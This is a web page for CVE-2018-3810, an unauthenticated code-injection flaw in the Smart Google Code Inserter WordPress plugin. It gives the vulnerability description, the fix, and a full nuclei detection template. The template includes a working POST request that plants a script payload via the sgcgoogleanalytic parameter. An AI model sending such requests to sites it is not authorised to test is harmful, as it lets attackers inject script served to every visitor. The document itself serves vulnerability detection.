CVE-2018-3810· oturia / smart google code inserter· CWE-287
Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass
Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
Impact
An attacker can bypass authentication and gain unauthorized access to the affected WordPress site.
Fix
Update to the latest version of the Oturia WordPress Smart Google Code Inserter plugin (3.5 or higher) to fix the authentication bypass vulnerability.
How to confirm it
Send: POST {{BaseURL}}/wp-admin/options-general.php?page=smartcode
Send: GET {{BaseURL}}
Positive when: contains in header "text/html" AND contains "<script>console.log(\"document.domain\")</script>" AND status 200Run it with nuclei: nuclei -id CVE-2018-3810 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-3810
info:
name: Oturia WordPress Smart Google Code Inserter <3.5 - Authentication Bypass
author: princechaddha
severity: critical
description: Oturia Smart Google Code Inserter plugin before 3.5 for WordPress allows unauthenticated attackers to insert arbitrary JavaScript or HTML code (via the sgcgoogleanalytic parameter) that runs on all pages served by WordPress. The saveGoogleCode() function in smartgooglecode.php does not check if the current request is made by an authorized user, thus allowing any unauthenticated user to successfully update the inserted code.
impact: |
An attacker can bypass authentication and gain unauthorized access to the affected WordPress site.
remediation: |
Update to the latest version of the Oturia WordPress Smart Google Code Inserter plugin (3.5 or higher) to fix the authentication bypass vulnerability.
reference:
- https://www.exploit-db.com/exploits/43420
- https://nvd.nist.gov/vuln/detail/CVE-2018-3810
- https://wordpress.org/plugins/smart-google-code-inserter/#developers
- https://limbenjamin.com/articles/smart-google-code-inserter-auth-bypass.html
- https://wpvulndb.com/vulnerabilities/8987
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-3810
cwe-id: CWE-287
epss-score: 0.91304
epss-percentile: 0.99813
cpe: cpe:2.3:a:oturia:smart_google_code_inserter:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: oturia
product: smart_google_code_inserter
framework: wordpress
tags: cve,cve2018,wordpress,google,edb,oturia,vkev,vuln
http:
- method: POST
path:
- "{{BaseURL}}/wp-admin/options-general.php?page=smartcode"
body: 'sgcgoogleanalytic=<script>console.log("document.domain")</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode'
headers:
Content-Type: application/x-www-form-urlencoded
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
part: body
words:
- '<script>console.log("document.domain")</script>'
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/43420
- https://nvd.nist.gov/vuln/detail/CVE-2018-3810
- https://wordpress.org/plugins/smart-google-code-inserter/#developers
- https://limbenjamin.com/articles/smart-google-code-inserter-auth-bypass.html
- https://wpvulndb.com/vulnerabilities/8987
Use this check only on systems you are authorised to test. Where the data comes from